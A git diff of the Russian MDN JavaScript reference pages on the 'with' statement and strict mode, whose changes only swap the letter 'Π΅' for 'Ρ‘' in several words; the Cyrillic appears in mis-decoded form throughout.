--- a/files/ru/web/javascript/reference/statements/with/index.html
+++ b/files/ru/web/javascript/reference/statements/with/index.html
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/with
<p><strong>Pro:</strong> ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <strong>with</strong> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π°, ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΠ² Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒ Π΄Π»ΠΈΠ½Π½ΡƒΡŽ ссылку Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Π΅Π· сниТСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.  ИзмСнСниС Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ контСкста, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для 'with', Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π°Ρ‚Ρ€Π°Ρ‚.  ИспользованиС 'with' ΠΈΠ·Π±Π°Π²ΠΈΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ ΠΎΡ‚ Ρ€Π°Π·Π±ΠΎΡ€Π° ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹Ρ… ссылок Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹. Однако,Β ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… случаях это прСимущСство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достигнуто с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ для хранСния ссылки Π½Π° Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
-<p><strong>Contra:</strong> ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <strong>with</strong> заставляСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΌ сначала срСди всСх имСн поиска. Β ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ всС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ относятся ΠΊΒ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅ Π² Π±Π»ΠΎΠΊΠ΅ Β«<strong>with</strong>. Β Π’Π°ΠΌ, Π³Π΄Π΅ Π²Π°ΠΆΠ½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Β«withΒ» слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΡ…Π²Π°Ρ‚Π° Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ ΠΊ Ρ‡Π»Π΅Π½Π°ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
+<p><strong>Contra:</strong> ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <strong>with</strong> заставляСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΌ сначала срСди всСх имён поиска. Β ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ всС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ относятся ΠΊΒ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅ Π² Π±Π»ΠΎΠΊΠ΅ Β«<strong>with</strong>. Β Π’Π°ΠΌ, Π³Π΄Π΅ Π²Π°ΠΆΠ½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Β«withΒ» слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΡ…Π²Π°Ρ‚Π° Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ ΠΊ Ρ‡Π»Π΅Π½Π°ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
<h3 id="Ambiguity_contra">Ambiguity contra</h3>
diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html
index 7b35f93897..fbf4446b55 100644
--- a/files/ru/web/javascript/reference/strict_mode/index.html
+++ b/files/ru/web/javascript/reference/strict_mode/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode
---
<div>{{JsSidebar("More")}}</div>
-<p>Π Π΅ΠΆΠΈΠΌ <em>strict</em> (<em>строгий</em> Ρ€Π΅ΠΆΠΈΠΌ), Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ строгий Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ JavaScript. Π­Ρ‚ΠΎ Π½Π΅ просто подмноТСство языка: Π² Π½Π΅ΠΌ ΡΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сСмантика, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰Π°ΡΡΡ ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ принятой. НС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ строгий Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄, написанный для строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, поэтому Π½Π΅ ΠΏΠΎΠ»Π°Π³Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π° строгий Ρ€Π΅ΠΆΠΈΠΌ Π±Π΅Π· тСстирования ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… особСнностСй этого Ρ€Π΅ΠΆΠΈΠΌΠ°. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π° скрипт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ надобности.</p>
+<p>Π Π΅ΠΆΠΈΠΌ <em>strict</em> (<em>строгий</em> Ρ€Π΅ΠΆΠΈΠΌ), Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ строгий Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ JavaScript. Π­Ρ‚ΠΎ Π½Π΅ просто подмноТСство языка: Π² Π½Π΅ΠΌ ΡΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сСмантика, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰Π°ΡΡΡ ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ принятой. НС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ строгий Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄, написанный для строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, поэтому Π½Π΅ ΠΏΠΎΠ»Π°Π³Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π° строгий Ρ€Π΅ΠΆΠΈΠΌ Π±Π΅Π· тСстирования ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… особСнностСй этого Ρ€Π΅ΠΆΠΈΠΌΠ°. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π° скрипт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ надобности.</p>
<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ принёс ряд ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ сСмантику JavaScript. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, строгий Ρ€Π΅ΠΆΠΈΠΌ замСняСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΠΌΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ JavaScript Ρ€Π°Π½Π΅Π΅ ΠΌΠΎΠ»Ρ‡Π° пропускал. Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, строгий Ρ€Π΅ΠΆΠΈΠΌ исправляСт ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ мСшали Π΄Π²ΠΈΠΆΠΊΠ°ΠΌ JavaScript Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ -- Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΊΠΎΠ΄ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ для Π±ΠΎΠ»Π΅Π΅ быстрого выполнСния, Ρ‡Π΅ΠΌ ΠΊΠΎΠ΄ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅. Π’-Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ…, строгий Ρ€Π΅ΠΆΠΈΠΌ Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ элСмСнты синтаксиса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, вСроятно, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях ECMAScript ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ особый смысл.</p>
@@ -18,11 +18,11 @@ translation_of: Web/JavaScript/Reference/Strict_mode
<h2 id="Активизация_строгого_Ρ€Π΅ΠΆΠΈΠΌΠ°">Активизация строгого Ρ€Π΅ΠΆΠΈΠΌΠ°</h2>
-<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ примСняСтся ΠΊΠΎ <em>всСму скрипту</em> ΠΈΠ»ΠΈ ΠΊ <em>ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ функциям</em>. Он Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ Π±Π»ΠΎΠΊΠ°ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки -- ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌ контСкстС Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π°. Код Π² <code>eval</code>, <code>Function</code>, Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий, Π² строках, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, ΠΈ Ρ‚.ΠΏ. рассматриваСтся ΠΊΠ°ΠΊ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹ΠΉ скрипт, ΠΈ активизация строгого Ρ€Π΅ΠΆΠΈΠΌΠ° Π² Π½Ρ‘ΠΌ выполняСтся ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ примСняСтся ΠΊΠΎ <em>всСму скрипту</em> ΠΈΠ»ΠΈ ΠΊ <em>ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ функциям</em>. Он Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ Π±Π»ΠΎΠΊΠ°ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки -- ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌ контСкстС Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π°. Код Π² <code>eval</code>, <code>Function</code>, Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий, Π² строках, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, ΠΈ Ρ‚.ΠΏ. рассматриваСтся ΠΊΠ°ΠΊ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹ΠΉ скрипт, ΠΈ активизация строгого Ρ€Π΅ΠΆΠΈΠΌΠ° Π² Π½Ρ‘ΠΌ выполняСтся ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</p>
<h3 id="Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ_Ρ€Π΅ΠΆΠΈΠΌ_для_скриптов">Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ для скриптов</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строгий Ρ€Π΅ΠΆΠΈΠΌ для всСго скрипта, Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>"use strict";</code> ΠΈΠ»ΠΈ <code>'use strict';</code> ΠΏΠ΅Ρ€Π΅Π΄ всСми ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ скрипта (Π²Ρ‹Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ синтаксис Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ).</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строгий Ρ€Π΅ΠΆΠΈΠΌ для всСго скрипта, Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>"use strict";</code> ΠΈΠ»ΠΈ <code>'use strict';</code> ΠΏΠ΅Ρ€Π΅Π΄ всСми ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ скрипта (Π²Ρ‹Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ синтаксис Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ).</p>
<pre class="brush: js">// Бинтаксис ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² строгий Ρ€Π΅ΠΆΠΈΠΌ всСго скрипта
"use strict";
@@ -74,11 +74,11 @@ mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит
<pre class="brush: js">"use strict";
-<code>// ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ значСния глобальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΉ ΠΎΡ‚ записи
+<code>// ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ значСния глобальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚ записи
var undefined = 5; // выдаст TypeError
var Infinity = 5; // выдаст TypeError
</code>
-// ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ значСния свойству, Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ записи
+// ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ значСния свойству, Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ записи
var obj1 = {};
Object.defineProperty(obj1, "x", { value: 42, writable: false });
obj1.x = 9; // выдаст TypeError
@@ -133,7 +133,7 @@ var sum = 015 + // !!! синтаксичСская ошибка
console.log(sumWithOctal); // 16</code>
</pre>
-<p>Π’-ΡΠ΅Π΄ΡŒΠΌΡ‹Ρ…, строгий Ρ€Π΅ΠΆΠΈΠΌ Π² ECMAScript 2015 Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ установку свойств {{Glossary("primitive")}} значСниям. Π‘Π΅Π· строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, установка свойств просто игнорируСтся (no-op), со строгим Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹Π΄Π°Π΅Ρ‚ {{jsxref ("TypeError")}}.</p>
+<p>Π’-ΡΠ΅Π΄ΡŒΠΌΡ‹Ρ…, строгий Ρ€Π΅ΠΆΠΈΠΌ Π² ECMAScript 2015 Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ установку свойств {{Glossary("primitive")}} значСниям. Π‘Π΅Π· строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, установка свойств просто игнорируСтся (no-op), со строгим Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹Π΄Π°Ρ‘Ρ‚ {{jsxref ("TypeError")}}.</p>
<pre><code>(function() {
'use strict';
@@ -146,7 +146,7 @@ false.true = ''; // TypeError
<h3 id="Π£ΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅_Ρ€Π°Π±ΠΎΡ‚Ρ‹_с_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ">Π£ΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ сопоставлСниС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с мСстом Π΅Π΅ опрСдСлСния Π² ΠΊΠΎΠ΄Π΅. МногиС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ компиляции ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСрСмСнная <em>X</em> хранится Π² <em>этом ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ </em>мСстС исходного ΠΊΠΎΠ΄Π°. Иногда, ΠΏΡ€ΠΈ компиляции JavaScript простоС сопоставлСниС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с мСстом Π΅Π΅ опрСдСлСния Π² ΠΊΠΎΠ΄Π΅ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π±Π΅Π· выполнСния Ρ‚ΠΎΠ³ΠΎ самого ΠΊΠΎΠ΄Π°. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ ΠΆΠ΅ Ρ€Π΅ΠΆΠΈΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚Π°ΠΊΠΈΡ… случаСв, благодаря Ρ‡Π΅ΠΌΡƒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ компилятора Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эффСктивнСС.</p>
